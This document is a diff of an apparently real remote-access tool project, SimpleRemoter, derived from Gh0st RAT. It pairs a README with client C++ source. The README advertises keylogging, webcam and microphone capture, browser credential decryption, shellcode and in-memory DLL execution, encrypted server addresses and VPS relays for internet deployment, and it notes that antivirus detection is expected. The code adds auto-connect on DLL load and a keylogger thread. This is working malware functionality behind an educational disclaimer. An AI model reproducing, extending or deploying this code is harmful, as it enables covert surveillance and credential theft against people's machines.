**[🇺🇸 English](./ReadMe_EN.md) | [🇨🇳 中文](./ReadMe.md)**
|
||||||
|
|
||||||
|
---
|
||||||
|
# 📚 Table of Contents
|
||||||
|
|
||||||
|
- [1. Project Overview](#1-project-overview)
|
||||||
|
- [2. Legal Disclaimer](#2-legal-disclaimer)
|
||||||
|
- [3. System Architecture](#3-system-architecture)
|
||||||
|
- [3.1 Master Controller](#31-master-controller)
|
||||||
|
- [3.2 Controlled Client](#32-controlled-client)
|
||||||
|
- [3.3 Linux Client](#33-linux-client)
|
||||||
|
- [4. Deployment Methods](#4-deployment-methods)
|
||||||
|
- [4.1 Intranet Deployment](#41-intranet-deployment)
|
||||||
|
- [4.2 Internet Deployment](#42-internet-deployment)
|
||||||
|
- [5. Changelog](#5-changelog)
|
||||||
|
- [6. Related Projects](#6-related-projects)
|
||||||
|
- [7. Feedback & Communication](#7-feedback--communication)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 1. Project Overview
|
||||||
|
|
||||||
|
**Original Source:** [zibility](https://github.com/zibility/Remote)
|
||||||
|
|
||||||
|
**Feature Summary:**
|
||||||
|
A remote control system based on gh0st, supporting terminal management, process management, window management, desktop control, file transfer, audio/video streaming, service control, registry viewing, keylogging, SOCKS proxy, virtual desktop, code execution, and more.
|
||||||
|
|
||||||
|
If you are passionate about researching control programs and find this project useful, you're welcome to star, fork, watch the repository, submit issues, or contribute via pull requests. The author will address issues depending on spare time availability.
|
||||||
|
|
||||||
|
[](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
|
||||||
|
|
||||||
|
*This program is for educational and technical research purposes only. Users are fully responsible for any consequences arising from its usage.*
|
||||||
|
|
||||||
|
**Initial Release Date:** January 1, 2019
|
||||||
|
|
||||||
|
# 2. Legal Disclaimer
|
||||||
|
|
||||||
|
This project is a research-oriented implementation of remote control technology and is intended solely for legal and educational use.
|
||||||
|
**Strictly prohibited**: any illegal access, control, or monitoring of others' devices.
|
||||||
|
|
||||||
|
This software is provided "as is" without any warranties. Use of this software is at your own risk.
|
||||||
|
We are not liable for any illegal or malicious use of this software.
|
||||||
|
Users must comply with applicable laws and use the software responsibly.
|
||||||
|
The developer assumes no responsibility for any damages caused by use of this software.
|
||||||
|
|
||||||
|
# 3. System Architecture
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Since version v1.1.1, the system adopts a two-tier architecture:
|
||||||
|
- (1) A superuser distributes and manages multiple master controllers.
|
||||||
|
- (2) Each master controller manages its own set of controlled clients.
|
||||||
|
|
||||||
|
**Key characteristics of this architecture:**
|
||||||
|
- Superusers can control any client in the system via the subordinate masters as relays.
|
||||||
|
- Cross-communication between hosts managed by different masters is disallowed—each master can only control its own clients.
|
||||||
|
- Superuser authorization is required to manage master controllers.
|
||||||
|
|
||||||
|
**Important: Unauthorized control of other users' devices is strictly prohibited.**
|
||||||
|
|
||||||
|
## 3.1 Master Controller
|
||||||
|
|
||||||
|
The master controller executable is **YAMA.exe**. It serves as the Server side, using IOCP for communication, and supports tens of thousands of clients online concurrently.
|
||||||
|
|
||||||
|
Thanks to the layered architecture, the supported number of hosts increases exponentially.
|
||||||
|
For example, if one superuser manages 10 masters, and each master handles 10,000 clients, the system can control up to 100,000 clients.
|
||||||
|
|
||||||
|
All features are available and stable in the UI. Some operations require the client to run with administrator privileges.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
The main UI displays all connected clients.
|
||||||
|
You can select a host to perform remote actions such as renaming, proxy mapping, or executing commands.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
The terminal module allows you to execute remote commands in a command-line interface.
|
||||||
|
A [minimal Linux version](./linux/main.cpp) is also available for research and development.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Displays the running processes on the controlled host. You can start or stop normal processes (not system-level ones).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Displays and allows manipulation of open windows on the controlled machine, including hide/show functionality.
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
Desktop management provides a full remote desktop experience. You can configure the capture method (GDI, DXGI, or VIRTUAL) and compression options (grayscale, screen diff, H264).
|
||||||
|
The **VIRTUAL** option allows headless remote control for improved performance.
|
||||||
|
It also supports reporting active windows and detecting specific applications.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
File management allows file transfer between your machine and the client device.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Enables audio monitoring and voice transmission, provided the target machine has audio devices.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Opens the client’s webcam. Camera detection is enabled by default and indicated in the host list.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Allows viewing and managing services on the target machine (start/stop), subject to permissions.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Enables viewing (read-only) the client’s registry.
|
||||||
|
|
||||||
|
**About Licensing:**
|
||||||
|
Since version v1.0.8, using the master controller requires authorization. New builds have a 14-day trial, after which a "serial number" is needed to request an unlock code.
|
||||||
|
To remove this logic, refer to the `OnOnlineBuildClient` function and recompile the software. See:
|
||||||
|
[#91](https://github.com/yuanyuanxiang/SimpleRemoter/issues/91)
|
||||||
|
|
||||||
|
The unlock code includes a validity period and is tied to the machine ID. The system checks for system time tampering. Generating a valid unlock code requires a password.
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
As of v1.1.1, the precompiled version is no longer authorized. All users must build the software themselves.
|
||||||
|
Otherwise, after 10 minutes of use, a dialog will prompt for an unlock code.
|
||||||
|
This prevents misuse by non-technical users.
|
||||||
|
If you only want to try out the program, version v1.0.7 or earlier is sufficient as core functionality is unchanged.
|
||||||
|
If you're interested in the technology, you're encouraged to compile it yourself.
|
||||||
|
|
||||||
|
## 3.2 Controlled Client
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
The controlled client is the **Client-side** application, available in two formats:
|
||||||
|
1. A single executable: `ghost.exe`
|
||||||
|
2. A launcher + DLL: `TestRun.exe` with `ServerDll.dll`
|
||||||
|
|
||||||
|
The first form is self-contained.
|
||||||
|
Since [v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8), `TestRun.exe` loads the DLL into memory, allowing dynamic updates from the master.
|
||||||
|
|
||||||
|
## 3.3 Linux Client
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
A Linux version is included in [v1.0.8](./Releases/v1.0.8/ghost), currently only supporting terminal access.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Compile the client on a Linux system. Then, in the master build dialog, select the compiled binary and set the desired connection address to generate a valid Linux client.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 4. Deployment Methods
|
||||||
|
|
||||||
|
## 4.1 Intranet Deployment
|
||||||
|
|
||||||
|
This means the master and clients are within the same local network. The client can directly reach the master’s IP and port.
|
||||||
|
This is the simplest form—just enter the master’s local IP and port when building the client.
|
||||||
|
|
||||||
|
## 4.2 Internet Deployment
|
||||||
|
|
||||||
|
In this case, the master and clients are on different networks, and the master lacks a public IP.
|
||||||
|
Clients cannot directly connect. To bridge this, a **"middleman"** is required to forward traffic.
|
||||||
|
|
||||||
|
One method is using [Peanuthull](./使用花生壳.txt), but here we focus on a second method, which works similarly:
|
||||||
|
|
||||||
|
> *Client → VPS → Master*
|
||||||
|
|
||||||
|
A **VPS (Virtual Private Server)** is used as a relay to control remote clients.
|
||||||
|
A physical server can also be used, but VPS is more cost-effective.
|
||||||
|
Usually, you need to rent one and set up port forwarding using [FRP (Fast Reverse Proxy)](https://github.com/fatedier/frp).
|
||||||
|
|
||||||
|
During client generation, use the VPS IP (or domain, if available).
|
||||||
|
The FRP server runs on the VPS, while the FRP client runs on your local machine.
|
||||||
|
Once a client connects to the VPS, the relay will forward traffic to your local machine, completing the control loop.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 5. Changelog
|
||||||
|
|
||||||
|
For changes before 2025, see: [history](./history.md)
|
||||||
|
|
||||||
|
**2025.01.12**
|
||||||
|
Fixed two potential remote desktop issues (#28, #29).
|
||||||
|
Added sorting for the controller’s list windows (#26, #27), making it easier to locate windows, services, or processes.
|
||||||
|
|
||||||
|
Released version **v1.0.6**, noted for high stability.
|
||||||
|
This version does **not** support older Windows XP systems
|
||||||
|
(note: VS2019 and later have dropped support for XP toolchains; use older Visual Studio versions if needed).
|
||||||
|
Download the latest release from GitHub or clone the repo.
|
||||||
|
If antivirus software flags it as a virus, this is expected due to the nature of the software — feel free to compile it yourself for verification.
|
||||||
|
|
||||||
|
**2025.02.01**
|
||||||
|
Inspired by [Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2), added **keylogging** support, implemented by copying four core files:
|
||||||
|
|
||||||
|
*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*
|
||||||
|
|
||||||
|
**2025.04.05**
|
||||||
|
|
||||||
|
Release v1.0.7, mainly fix or add new feature:
|
||||||
|
|
||||||
|
- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible;
|
||||||
|
- Support compile with Win64;
|
||||||
|
- Fix buges and make the program more stable;
|
||||||
|
- Improve remote control efficiency and support more bitmap compressing method;
|
||||||
|
- Some code reorganization.
|
||||||
|
|
||||||
|
**2025.04.12**
|
||||||
|
|
||||||
|
Since v1.0.7 released in April 5:
|
||||||
|
|
||||||
|
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
|
||||||
|
- Fix bugs: #62, #74, #75 ;
|
||||||
|
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
|
||||||
|
- Showing the user's activities and monitoring specified software;
|
||||||
|
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
|
||||||
|
- Implement loading DLL in memory, make it easy to update client program;
|
||||||
|
|
||||||
|
**2025.04.21**
|
||||||
|
|
||||||
|
Release v1.0.8:
|
||||||
|
|
||||||
|
- Support to share online host with other masters;
|
||||||
|
- Implement service-generated authorization capability, and add a serial number generation menu;
|
||||||
|
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
||||||
|
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
||||||
|
|
||||||
|
**2025.04.30**
|
||||||
|
|
||||||
|
Release v1.0.9:
|
||||||
|
|
||||||
|
- Update client building feature / All in one; The master will only accept the clients built by itself.
|
||||||
|
- Improve authorization feature.
|
||||||
|
|
||||||
|
**2025.06.01**
|
||||||
|
|
||||||
|
Release v1.1.0:
|
||||||
|
|
||||||
|
* fix: IOCPClient clear buffer when disconnect
|
||||||
|
* Implement SOCKS proxy feature
|
||||||
|
* Add menus and modify list style, add log
|
||||||
|
* feature: Add a C program to execute shell code
|
||||||
|
* feature: Encrypt for server address
|
||||||
|
* feat: Support virtual remote desktop monitoring
|
||||||
|
* feature: Add command to execute DLL
|
||||||
|
|
||||||
|
**2025.06.21**
|
||||||
|
|
||||||
|
Release v1.1.1:
|
||||||
|
|
||||||
|
*Starting from this version, the controller program requires authorization and
|
||||||
|
will automatically connect to the authorization server.
|
||||||
|
You may contact the author to request authorization. If you have concerns about this,
|
||||||
|
please use an earlier version (prior to v1.0.8).
|
||||||
|
Modifying and compiling the program yourself can also resolve this issue.*
|
||||||
|
|
||||||
|
* fix: remote desktop algorithm doesn't take effort
|
||||||
|
* Add some menus for operating online client
|
||||||
|
* Plugin: Add remote chat feature
|
||||||
|
* Plugin: Add browser decryption feature
|
||||||
|
* Plugin: Add host management feature
|
||||||
|
* Plugin: Add virtual desktop feature
|
||||||
|
* Improve: #48 Support sorting in file management dialog
|
||||||
|
* Feature: Support WinOS RAT client
|
||||||
|
* Improve authorization logic: Support authorize master online
|
||||||
|
* feature: Support random or multi connection
|
||||||
|
* Improvement: Add a popup window to show details
|
||||||
|
* Improve client stability
|
||||||
|
|
||||||
|
|
||||||
|
**2025.07.07**
|
||||||
|
|
||||||
|
Release v1.1.2:
|
||||||
|
|
||||||
|
* Fix the problem with the keylogging feature
|
||||||
|
* Security: Improve the authorization of plugins
|
||||||
|
* fix: Memory leak when release `CMachineDlg` object
|
||||||
|
* fix: Showing wrong IP while using `Reverse Proxy` (#147)
|
||||||
|
* Add a menu redirects to the authorization guide page
|
||||||
|
* Plugin: Add another file management module
|
||||||
|
* Improve: Reduce master program redundant code
|
||||||
|
* fix: Prevent crash when closing window during background data processing
|
||||||
|
* Improve: Remove redundant code for reading the registry
|
||||||
|
* layout: Reorganize TCP client/server code; Refactor the socket server code
|
||||||
|
* feature: Support listening on multiple ports simultaneously
|
||||||
|
* feature: Support client connections over UDP; Add client protocol option TCP/UDP
|
||||||
|
* Plugin: #145 Support remote drawing board
|
||||||
|
* Plugin: Add remote desktop privacy screen feature
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 6. Related Projects
|
||||||
|
|
||||||
|
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands): A remote control program with a fully English interface and a different architectural design.
|
||||||
|
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): A fully featured remote access tool, also known as Big Grey Wolf 9.5.
|
||||||
|
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st): Another remote controller based on the original Gh0st RAT.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 7. Feedback & Communication
|
||||||
|
|
||||||
|
QQ: 962914132
|
||||||
|
|
||||||
|
Contact: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
|
||||||
|
|
||||||
|
Issue Reporting: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
|
||||||
|
|
||||||
|
Contributions welcome: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
||||||
|
|
||||||
|
## Sponsorship
|
||||||
|
|
||||||
|
This project stems from technical exploration and personal interest. Updates are made on a non-regular basis, depending on available spare time.
|
||||||
|
**If you find this project useful, please consider supporting it via the sponsor icon.**
|
||||||
|
If you'd prefer to sponsor using other methods (e.g., WeChat, Alipay or PayPal), please click
|
||||||
|
[here](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg).
|
||||||
BIN
Releases/v1.0.9.7z
Normal file
BIN
Releases/v1.0.9.7z
Normal file
Binary file not shown.
BIN
Releases/v1.1.0.exe
Normal file
BIN
Releases/v1.1.0.exe
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/BrowserDecrypt.dll
Normal file
BIN
Releases/v1.1.1/Plugins/BrowserDecrypt.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/HostManager.dll
Normal file
BIN
Releases/v1.1.1/Plugins/HostManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/RemoteChat.dll
Normal file
BIN
Releases/v1.1.1/Plugins/RemoteChat.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/VirtualDesktop.dll
Normal file
BIN
Releases/v1.1.1/Plugins/VirtualDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Yama.exe
Normal file
BIN
Releases/v1.1.1/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Yama.exe
Normal file
BIN
Releases/v1.1.2/Yama.exe
Normal file
Binary file not shown.
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
}
|
}
|
||||||
|
|
||||||
BYTE bToken = TOKEN_AUDIO_START;
|
BYTE bToken = TOKEN_AUDIO_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
|
|||||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
if (dwBufferSize > 0)
|
if (dwBufferSize > 0)
|
||||||
{
|
{
|
||||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||||
}
|
}
|
||||||
return dwReturn;
|
return dwReturn;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,10 +18,15 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"Strmiids.lib")
|
#pragma comment(lib,"Strmiids.lib")
|
||||||
|
|
||||||
|
// TODO ȫ<>ֱ<EFBFBD><D6B1><EFBFBD>, <20><><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD>qedit.h
|
||||||
|
|
||||||
|
// <20>ӿ<EFBFBD> ID <09>ص<EFBFBD><D8B5>ӿڣ<D3BF><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ֡ץȡʱ֪ͨӦ<D6AA><D3A6>
|
||||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||||
|
|
||||||
|
// <20><> ID <09><><EFBFBD><EFBFBD> Sample Grabber COM <20><><EFBFBD><EFBFBD>
|
||||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||||
|
|
||||||
|
// <09>ӿ<EFBFBD> ID <09><><EFBFBD><EFBFBD> Sample Grabber <20>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>Ȳ<EFBFBD><C8B2><EFBFBD><EFBFBD>ӿ<EFBFBD>
|
||||||
EXTERN_C const IID IID_ISampleGrabber;
|
EXTERN_C const IID IID_ISampleGrabber;
|
||||||
|
|
||||||
struct ISampleGrabberCB : public IUnknown
|
struct ISampleGrabberCB : public IUnknown
|
||||||
@@ -35,7 +40,6 @@ public:
|
|||||||
double SampleTime,
|
double SampleTime,
|
||||||
BYTE* pBuffer,
|
BYTE* pBuffer,
|
||||||
long BufferLen) = 0;
|
long BufferLen) = 0;
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
struct ISampleGrabber : public IUnknown
|
struct ISampleGrabber : public IUnknown
|
||||||
|
|||||||
@@ -11,7 +11,10 @@
|
|||||||
#define CLIENT_PARALLEL_NUM 1
|
#define CLIENT_PARALLEL_NUM 1
|
||||||
|
|
||||||
// Զ<>̵<EFBFBD>ַ
|
// Զ<>̵<EFBFBD>ַ
|
||||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL};
|
CONNECT_ADDRESS g_SETTINGS = {
|
||||||
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||||
|
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||||
@@ -265,10 +268,29 @@ int main(int argc, const char *argv[])
|
|||||||
status = E_STOP;
|
status = E_STOP;
|
||||||
|
|
||||||
CloseHandle(hMutex);
|
CloseHandle(hMutex);
|
||||||
|
Logger::getInstance().stop();
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
|
|
||||||
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||||
|
|
||||||
|
// Auto run main thread after load the DLL
|
||||||
|
DWORD WINAPI AutoRun(LPVOID param) {
|
||||||
|
do
|
||||||
|
{
|
||||||
|
TestRun(NULL, 0);
|
||||||
|
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||||
|
|
||||||
|
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||||
|
HMODULE hInstance = (HMODULE)param;
|
||||||
|
FreeLibraryAndExitThread(hInstance, -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||||
DWORD ul_reason_for_call,
|
DWORD ul_reason_for_call,
|
||||||
LPVOID lpReserved
|
LPVOID lpReserved
|
||||||
@@ -277,13 +299,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
switch (ul_reason_for_call)
|
switch (ul_reason_for_call)
|
||||||
{
|
{
|
||||||
case DLL_PROCESS_ATTACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
{
|
{
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
|
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case DLL_PROCESS_DETACH:
|
case DLL_PROCESS_DETACH:
|
||||||
|
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
@@ -294,14 +316,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|||||||
{
|
{
|
||||||
ClientApp& app(g_MyApp);
|
ClientApp& app(g_MyApp);
|
||||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||||
app.g_bExit = S_CLIENT_NORMAL;
|
if (app.IsThreadRun()) {
|
||||||
if (strlen(szServerIP)>0 && uPort>0)
|
|
||||||
{
|
|
||||||
settings.SetServer(szServerIP, uPort);
|
settings.SetServer(szServerIP, uPort);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
app.SetThreadRun(TRUE);
|
||||||
|
app.SetProcessState(S_CLIENT_NORMAL);
|
||||||
|
settings.SetServer(szServerIP, uPort);
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||||
if (hThread == NULL) {
|
if (hThread == NULL) {
|
||||||
|
app.SetThreadRun(FALSE);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -316,7 +341,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|||||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
|
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
|
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
|
||||||
@@ -447,8 +472,18 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
ClientApp& app(*(ClientApp*)lParam);
|
ClientApp& app(*(ClientApp*)lParam);
|
||||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||||
|
auto list = app.GetSharedMasterList();
|
||||||
|
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||||
|
for (int i=1; i<list.size(); ++i){
|
||||||
|
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||||
|
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||||
|
if (nullptr != a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
|
}
|
||||||
|
// The main ClientApp.
|
||||||
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
|
}
|
||||||
State& bExit(app.g_bExit);
|
State& bExit(app.g_bExit);
|
||||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
|
||||||
CKernelManager* Manager = nullptr;
|
CKernelManager* Manager = nullptr;
|
||||||
|
|
||||||
if (!app.m_bShared) {
|
if (!app.m_bShared) {
|
||||||
@@ -460,7 +495,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
app.g_bThreadExit = false;
|
app.SetThreadRun(TRUE);
|
||||||
|
ThreadInfo* kb = CreateKB(&settings, bExit);
|
||||||
while (app.m_bIsRunning(&app))
|
while (app.m_bIsRunning(&app))
|
||||||
{
|
{
|
||||||
ULONGLONG dwTickCount = GetTickCount64();
|
ULONGLONG dwTickCount = GetTickCount64();
|
||||||
@@ -469,12 +505,13 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
SAFE_DELETE(Manager);
|
||||||
|
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb);
|
||||||
|
|
||||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
|
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
|
||||||
ClientObject->SendLoginInfo(login);
|
ClientObject->SendLoginInfo(login);
|
||||||
|
|
||||||
SAFE_DELETE(Manager);
|
|
||||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
Manager->SendHeartbeat();
|
Manager->SendHeartbeat();
|
||||||
@@ -482,6 +519,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
